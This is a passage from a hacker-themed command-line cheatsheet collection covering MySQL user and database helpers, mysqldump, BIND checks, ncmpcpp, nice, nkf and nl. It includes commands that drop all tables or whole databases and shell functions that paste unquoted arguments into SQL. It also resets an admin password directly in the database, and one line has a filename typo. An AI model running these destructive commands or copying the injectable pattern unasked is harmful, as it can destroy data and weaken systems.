| GRANT USAGE ON *.* TO 'admin'@'localhost' IDENTIFIED BY PASSWORD '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4' |
| GRANT ALL PRIVILEGES ON `foo`.* TO 'admin'@'localhost'

$ mysql-drop-user admin
| DROP USER 'admin'@'localhost'

$ mysql-drop-db foo
| DROP DATABASE IF EXISTS foo
To use above commands, you need to copy&paste the following functions into your rc file (e.g. .bash_profile) and reload your shell or source the file. In this case just type source .bash_profile:

# Create user in MySQL/MariaDB.
mysql-create-user() {
  [ -z "$2" ] && { echo "Usage: mysql-create-user (user) (password)"; return; }
  mysql -ve "CREATE USER '$1'@'localhost' IDENTIFIED BY '$2'"
}

# Delete user from MySQL/MariaDB
mysql-drop-user() {
  [ -z "$1" ] && { echo "Usage: mysql-drop-user (user)"; return; }
  mysql -ve "DROP USER '$1'@'localhost';"
}

# Create new database in MySQL/MariaDB.
mysql-create-db() {
  [ -z "$1" ] && { echo "Usage: mysql-create-db (db_name)"; return; }
  mysql -ve "CREATE DATABASE IF NOT EXISTS $1"
}

# Drop database in MySQL/MariaDB.
mysql-drop-db() {
  [ -z "$1" ] && { echo "Usage: mysql-drop-db (db_name)"; return; }
  mysql -ve "DROP DATABASE IF EXISTS $1"
}

# Grant all permissions for user for given database.
mysql-grant-db() {
  [ -z "$2" ] && { echo "Usage: mysql-grand-db (user) (database)"; return; }
  mysql -ve "GRANT ALL ON $2.* TO '$1'@'localhost'"
  mysql -ve "FLUSH PRIVILEGES"
}

# Show current user permissions.
mysql-show-grants() {
  [ -z "$1" ] && { echo "Usage: mysql-show-grants (user)"; return; }
  mysql -ve "SHOW GRANTS FOR '$1'@'localhost'"
}

#############################################################################

# Example:
[root@phpipam ~] mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.

mysql> use `phpipam`;

Database changed
mysql> update `users`
       set `password` = '$6$rounds=3000$JQEE6dL9NpvjeFs4$RK5X3oa28.Uzt/h5VAfdrsvlVe.7HgQUYKMXTJUsud8dmWfPzZQPbRbk8xJn1Kyyt4.dWm4nJIYhAV2mbOZ3g.'
       where `username` = "admin";

Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql>quit
Bye
#############################################################################

# Delete all tables of a mysql database
mysql --defaults-file=my.cnf -e 'show tables' | while read t; do mysql --defaults-file=my.cnt  -e 'drop table '$t; done
# Explanation: If you have a root access to the database, a drop database + create database is easiest. This script is useful in situations where you do not have root access to the database.

# First prepare a file my.cnf to store database credentials so you do not have to enter on the command line:
    # [client]
    # database=dbname
    # user=dbuser
    # password=dbpass
    # host=dbhost
# Make sure to protect this file with chmod go-rwx.
# The one-liner will execute show tables on the database to list all tables. Then the while loop reads each table name line by line and executes a drop table command.
# Limitations: The above solution is lazy, because not all lines in the output of show tables are table names, so you will see errors when you run it. But hey, shell scripts are meant to be lazy!
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

96 - 🖥️mysqladmin

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mysqladmin command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ███╗██╗   ██╗███████╗ ██████╗ ██╗      █████╗ ██████╗ ███╗   ███╗██╗███╗   ██╗
#  ████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║     ██╔══██╗██╔══██╗████╗ ████║██║████╗  ██║
#  ██╔████╔██║ ╚████╔╝ ███████╗██║   ██║██║     ███████║██║  ██║██╔████╔██║██║██╔██╗ ██║
#  ██║╚██╔╝██║  ╚██╔╝  ╚════██║██║▄▄ ██║██║     ██╔══██║██║  ██║██║╚██╔╝██║██║██║╚██╗██║
#  ██║ ╚═╝ ██║   ██║   ███████║╚██████╔╝███████╗██║  ██║██████╔╝██║ ╚═╝ ██║██║██║ ╚████║
#  ╚═╝     ╚═╝   ╚═╝   ╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝  ╚═╝╚═════╝ ╚═╝     ╚═╝╚═╝╚═╝  ╚═══╝
# 

# InnoDB related parameters
mysqladmin variables | egrep '(innodb_log_file|innodb_data_file)'

# mysql status - cron entry to record mysql status every minute
mysqladmin status >> /home/status.txt 2>> /home/status_err.txt

# mysql backup utility
mysqlbackup --port=3306 --protocol=tcp --user=dba --password=dba  --with-timestamp  --backup-dir=/tmp/toback/ --slave-info backup-and-apply-log  --innodb_data_file_path=ibdata1:10M:autoextend --innodb_log_files_in_group=2 --innodb_log_file_size=5242880

# check mysql capacity to handle traffic
mysqlslap  --query=/root/select_query_cp.sql --concurrency=10 --iterations=5  --create-schema=cvts1

# check mysql server performance
mysqlslap --query=/home/ec2-user/insert.txt --concurrency=123 --iterations=1  --create-schema=test
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

97 - 🖥️mysqldump

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mysqldump command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#      ███╗   ███╗██╗   ██╗███████╗ ██████╗ ██╗     ██████╗ ██╗   ██╗███╗   ███╗██████╗ 
#      ████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║     ██╔══██╗██║   ██║████╗ ████║██╔══██╗
#      ██╔████╔██║ ╚████╔╝ ███████╗██║   ██║██║     ██║  ██║██║   ██║██╔████╔██║██████╔╝
#      ██║╚██╔╝██║  ╚██╔╝  ╚════██║██║▄▄ ██║██║     ██║  ██║██║   ██║██║╚██╔╝██║██╔═══╝ 
#      ██║ ╚═╝ ██║   ██║   ███████║╚██████╔╝███████╗██████╔╝╚██████╔╝██║ ╚═╝ ██║██║     
#      ╚═╝     ╚═╝   ╚═╝   ╚══════╝ ╚══▀▀═╝ ╚══════╝╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝     
                

                                                                                                
# To dump a database to a file (Note that your password will appear in your command history!):
mysqldump -uusername -ppassword the-database > db.sql

# To dump a database to a file:
mysqldump -uusername -p the-database > db.sql

# To dump a database to a .tgz file (Note that your password will appear in your command history!):
mysqldump -uusername -ppassword the-database | gzip -9 > db.sql

# To dump a database to a .tgz file:
mysqldump -uusername -p the-database | gzip -9 > db.sql

# To dump all databases to a file (Note that your password will appear in your command history!):
mysqldump -uusername -ppassword --all-databases > all-databases.sql

# To dump all databases to a file:
mysqldump -uusername -p --all-databases > all-databases.sql

# To export the database structure only:
mysqldump --no-data -uusername -p the-database > dump_file

# To export the database data only:
mysqldump --no-create-info -uusername -p the-database > dump_file

# backup all data in compressed format - error out to a different file every day if it is part of a cron entry. The backup file will overwrite older version.
mysqldump --routines --all-databases | gzip > /home/mydata.sql.gz 2> /home/mydata.date '+\%b\%d'.err

# Monitor ETA using pv command - You can get an approximate idea of how long your data export might take.
mysqldump --login-path=mypath sbtest sbtest4 | pv --progress --size 200m -t -e -r -a > dump.sql
    # Sample output
	    # [==================================>  ] 60% ETA 0:00:01

#==============================##==============================#
# CMD MYSQLDUMP						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

98 - 🖥️named-checkconf

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the named-checkconf command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#      ███╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗        ██████╗██╗  ██╗███████╗ ██████╗██╗  ██╗ ██████╗ ██████╗ ███╗   ██╗███████╗
#      ████╗  ██║██╔══██╗████╗ ████║██╔════╝██╔══██╗      ██╔════╝██║  ██║██╔════╝██╔════╝██║ ██╔╝██╔════╝██╔═══██╗████╗  ██║██╔════╝
#      ██╔██╗ ██║███████║██╔████╔██║█████╗  ██║  ██║█████╗██║     ███████║█████╗  ██║     █████╔╝ ██║     ██║   ██║██╔██╗ ██║█████╗  
#      ██║╚██╗██║██╔══██║██║╚██╔╝██║██╔══╝  ██║  ██║╚════╝██║     ██╔══██║██╔══╝  ██║     ██╔═██╗ ██║     ██║   ██║██║╚██╗██║██╔══╝  
#      ██║ ╚████║██║  ██║██║ ╚═╝ ██║███████╗██████╔╝      ╚██████╗██║  ██║███████╗╚██████╗██║  ██╗╚██████╗╚██████╔╝██║ ╚████║██║     
#      ╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═════╝        ╚═════╝╚═╝  ╚═╝╚══════╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═══╝╚═╝     
                                                                                                                                            
																																														  
# named-checkconf /etc/named.conf
and
# named-checkconf -t /var/named/chroot /etc/named.conf

If above command shows nothing in output, means configuration is ok, Now restart bind service.

# /etc/init.d/named restart

#==============================##==============================#
# CMD NAMED-CHECKCONF						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

99 - 🖥️named-checkzone

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the named-checkzone command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#      ███╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗        ██████╗██╗  ██╗███████╗ ██████╗██╗  ██╗███████╗ ██████╗ ███╗   ██╗███████╗
#      ████╗  ██║██╔══██╗████╗ ████║██╔════╝██╔══██╗      ██╔════╝██║  ██║██╔════╝██╔════╝██║ ██╔╝╚══███╔╝██╔═══██╗████╗  ██║██╔════╝
#      ██╔██╗ ██║███████║██╔████╔██║█████╗  ██║  ██║█████╗██║     ███████║█████╗  ██║     █████╔╝   ███╔╝ ██║   ██║██╔██╗ ██║█████╗  
#      ██║╚██╗██║██╔══██║██║╚██╔╝██║██╔══╝  ██║  ██║╚════╝██║     ██╔══██║██╔══╝  ██║     ██╔═██╗  ███╔╝  ██║   ██║██║╚██╗██║██╔══╝  
#      ██║ ╚████║██║  ██║██║ ╚═╝ ██║███████╗██████╔╝      ╚██████╗██║  ██║███████╗╚██████╗██║  ██╗███████╗╚██████╔╝██║ ╚████║███████╗
#      ╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═════╝        ╚═════╝╚═╝  ╚═╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚══════╝ ╚═════╝ ╚═╝  ╚═══╝╚══════╝

named-checkzone DOMAIN.com DOMAIN.com.hosts

#==============================##==============================#
# CMD NAMED-CHECKZONE						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

100 - 🖥️ncmpcpp

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ncmpcpp command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ██╗ ██████╗███╗   ███╗██████╗  ██████╗██████╗ ██████╗ 
#  ████╗  ██║██╔════╝████╗ ████║██╔══██╗██╔════╝██╔══██╗██╔══██╗
#  ██╔██╗ ██║██║     ██╔████╔██║██████╔╝██║     ██████╔╝██████╔╝
#  ██║╚██╗██║██║     ██║╚██╔╝██║██╔═══╝ ██║     ██╔═══╝ ██╔═══╝ 
#  ██║ ╚████║╚██████╗██║ ╚═╝ ██║██║     ╚██████╗██║     ██║     
#  ╚═╝  ╚═══╝ ╚═════╝╚═╝     ╚═╝╚═╝      ╚═════╝╚═╝     ╚═╝     

# ncmpcpp is an mpd client (compatible with mopidy) with a UI very similar to ncmpc,
# but it provides new useful features such as support for regular expressions for library searches,
# extended song format, items filtering, the ability to sort playlists, and a local filesystem browser. 

# configure ncmpcpp
mkdir ~/.ncmpcpp
cat <<EOF > ~/.ncmpcpp/config
ncmpcpp_directory =         "~/.ncmpcpp"
mpd_host =                  "127.0.0.1"
mpd_port =                  "6600"
mpd_music_dir =             "/var/lib/mpd/music/"
EOF

# Movement
    Up k               Move cursor up
    Down j             Move cursor down
    [                  Move cursor up one album
    ]                  Move cursor down one album
    {                  Move cursor up one artist
    }                  Move cursor down one artist
    Page Up            Page up
    Page Down          Page down
    Home               Home
    End                End
#
    Tab                Switch to next screen in sequence
    Shift-Tab          Switch to previous screen in sequence
    F1                 Show help
    1                  Show playlist
    2                  Show browser
    3                  Show search engine
    4                  Show media library
    5                  Show playlist editor
    6                  Show tag editor
    7                  Show outputs
    8                  Show music visualizer
    =                  Show clock
    @                  Show server info

# Global
    s                  Stop
    p                  Pause
    >                  Next track
    <                  Previous track
    Ctrl-H Backspace   Replay playing song
    f                  Seek forward in playing song
    b                  Seek backward in playing song
    - Left             Decrease volume by 2%
    Right +            Increase volume by 2%
#
    t                  Toggle space mode (select/add)
    T                  Toggle add mode (add or remove/always add)
    |                  Toggle mouse support
    v                  Reverse selection
    V                  Remove selection
    B                  Select songs of album around the cursor
    a                  Add selected items to playlist
    `                  Add random items to playlist
    r                  Toggle repeat mode
    z                  Toggle random mode
    y                  Toggle single mode
    R                  Toggle consume mode
    Y                  Toggle replay gain mode
    #                  Toggle bitrate visibility
    Z                  Shuffle playlist
    x                  Toggle crossfade mode
    X                  Set crossfade
#
    u                  Start music database update
    :                  Execute command
    Ctrl-F             Apply filter
    /                  Find item forward
    ?                  Find item backward
    ,                  Jump to previous found item
    .                  Jump to next found item
    w                  Toggle find mode (normal/wrapped)
    G                  Locate song in browser
    ~                  Locate song in media library
#
    Ctrl-L             Lock/unlock current screen
    Left h             Switch to master screen (left one)
    Right l            Switch to slave screen (right one)
#
    E                  Locate song in tag editor
    P                  Toggle display mode
    \                  Toggle user interface
    !                  Toggle displaying separators between albums
    g                  Jump to given position in playing song (formats: mm:ss, x%)
    i                  Show song info
    I                  Show artist info
    L                  Toggle lyrics fetcher
    F                  Toggle fetching lyrics for playing songs in background
    q                  Quit

# Playlist
    Enter              Play selected item
    Delete             Delete selected item(s) from playlist
    c                  Clear playlist
    C                  Clear playlist except selected item(s)
    Ctrl-P             Set priority of selected items
    Ctrl-K m           Move selected item(s) up
    n Ctrl-J           Move selected item(s) down
    M                  Move selected item(s) to cursor position
    A                  Add item to playlist
    e                  Edit song
    S                  Save playlist
    Ctrl-V             Sort playlist
    Ctrl-R             Reverse playlist
    o                  Jump to current song
    U                  Toggle playing song centering

# Browser
    Enter              Enter directory/Add item to playlist and play it
    Space              Add item to playlist/select it
    e                  Edit song/directory/playlist name
    2                  Browse MPD database/local filesystem
    `                  Toggle sort mode
    o                  Locate playing song
    Ctrl-H Backspace   Jump to parent directory
    Delete             Delete selected items from disk
    G                  Jump to playlist editor (playlists only)

# Search engine
    Enter              Add item to playlist and play it/change option
    Space              Add item to playlist
    e                  Edit song
    y                  Start searching
    3                  Reset search constraints and clear results

# Media library
    4                  Switch between two/three columns mode
    Left h             Previous column
    Right l            Next column
    Enter              Add item to playlist and play it
    Space              Add item to playlist
    e                  Edit song
    e                  Edit tag (left column)/album (middle/right column)
    `                  Toggle type of tag used in left column
    m                  Toggle sort mode

# Playlist editor
    Left h             Previous column
    Right l            Next column
    Enter              Add item to playlist and play it
    Space              Add item to playlist/select it
    e                  Edit song/playlist name
    Ctrl-K m           Move selected item(s) up
    n Ctrl-J           Move selected item(s) down
    Delete             Delete selected playlists (left column)
    C                  Clear playlist except selected item(s)
    Ctrl-P             Set priority of selected items
    Ctrl-K m           Move selected item(s) up
    n Ctrl-J           Move selected item(s) down
    M                  Move selected item(s) to cursor position
    A                  Add item to playlist
    e                  Edit song
    S                  Save playlist
    Ctrl-V             Sort playlist
    Ctrl-R             Reverse playlist
    o                  Jump to current song
    U                  Toggle playing song centering

# Browser
    Enter              Enter directory/Add item to playlist and play it
    Space              Add item to playlist/select it
    e                  Edit song
    e                  Edit directory name
    e                  Edit playlist name
    2                  Browse MPD database/local filesystem
    `                  Toggle sort mode
    o                  Locate playing song
    Ctrl-H Backspace   Jump to parent directory
    Delete             Delete selected items from disk
    G                  Jump to playlist editor (playlists only)

# Search engine
    Enter              Add item to playlist and play it/change option
    Space              Add item to playlist
    e                  Edit song
    y                  Start searching
    3                  Reset search constraints and clear results

# Media library
    4                  Switch between two/three columns mode
    Left h             Previous column
    Right l            Next column
    Enter              Add item to playlist and play it
    Space              Add item to playlist
    e                  Edit song/tag (left column)/album (middle/right column)
    `                  Toggle type of tag used in left column
    m                  Toggle sort mode

# Playlist editor
    Left h             Previous column
    Right l            Next column
    Enter              Add item to playlist and play it
    Space              Add item to playlist/select it
    e                  Edit song/playlist name
    Ctrl-K m           Move selected item(s) up
    n Ctrl-J           Move selected item(s) down
    Delete             Delete selected playlists (left column)
    Delete             Delete selected item(s) from playlist (right column)
    c                  Clear playlist
    C                  Clear playlist except selected items

# Lyrics
    Space              Toggle reloading lyrics upon song change
    e                  Open lyrics in external editor
    `                  Refetch lyrics

# Tiny tag editor
    Enter              Edit tag
    y                  Save

# Tag editor
    Enter              Edit tag/filename of selected item (left column)
    Enter              Perform operation on all/selected items (middle column)
    Space              Switch to albums/directories view (left column)
    Space              Select item (right column)
    Left h             Previous column
    Right l            Next column
    Ctrl-H Backspace   Jump to parent directory (left column, directories view)
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

101 - 🖥️nice

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nice command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ██╗██╗ ██████╗███████╗
#                ████╗  ██║██║██╔════╝██╔════╝
#                ██╔██╗ ██║██║██║     █████╗  
#                ██║╚██╗██║██║██║     ██╔══╝  
#                ██║ ╚████║██║╚██████╗███████╗
#                ╚═╝  ╚═══╝╚═╝ ╚═════╝╚══════╝
                                             
                                             

# The nice command lets you run a program with modified scheduling priority.

nice -n[niceness-value] [program]

nice -n15 vim

#==============================##==============================#
# CMD NICE						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

102 - 🖥️nkf

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nkf command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ██╗██╗  ██╗███████╗
#                ████╗  ██║██║ ██╔╝██╔════╝
#                ██╔██╗ ██║█████╔╝ █████╗  
#                ██║╚██╗██║██╔═██╗ ██╔══╝  
#                ██║ ╚████║██║  ██╗██║     
#                ╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝     
                

                                        
# check the file's charactor code
nkf -g test.txt

# convert charactor code to UTF-8
nkf -w --overwrite test.txt

# convert charactor code to EUC-JP
nkf -e --overwrite test.txt

# convert charactor code to Shift-JIS
nkf -s --overwrite test.txt

# convert charactor code to ISO-2022-JP
nkf -j --overwrite test.txt

# convert newline to LF
nkf -Lu --overwrite test.txt

# convert newline to CRLF
nkf -Lw --overwrite test.txt

# convert newline to CR
nkf -Lm --overwrite test.txt

# MIME encode
echo テスト | nkf -WwMQ

# MIME decode
echo "=E3=83=86=E3=82=B9=E3=83=88" | nkf -WwmQ

#==============================##==============================#
# CMD NKF						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

103 - 🖥️nl

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nl command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ██╗██╗     
#                ████╗  ██║██║     
#                ██╔██╗ ██║██║     
#                ██║╚██╗██║██║     
#                ██║ ╚████║███████╗
#                ╚═╝  ╚═══╝╚══════╝
                                  
                                 

# The nl command writes contents of a file to output, and prepends each line with line number.

nl file1
1 Hi
2 How are you
3 Bye

#==============================##==============================#
# CMD NL						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

104 - 🖥️nm

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nm command with important options and switches using examples.

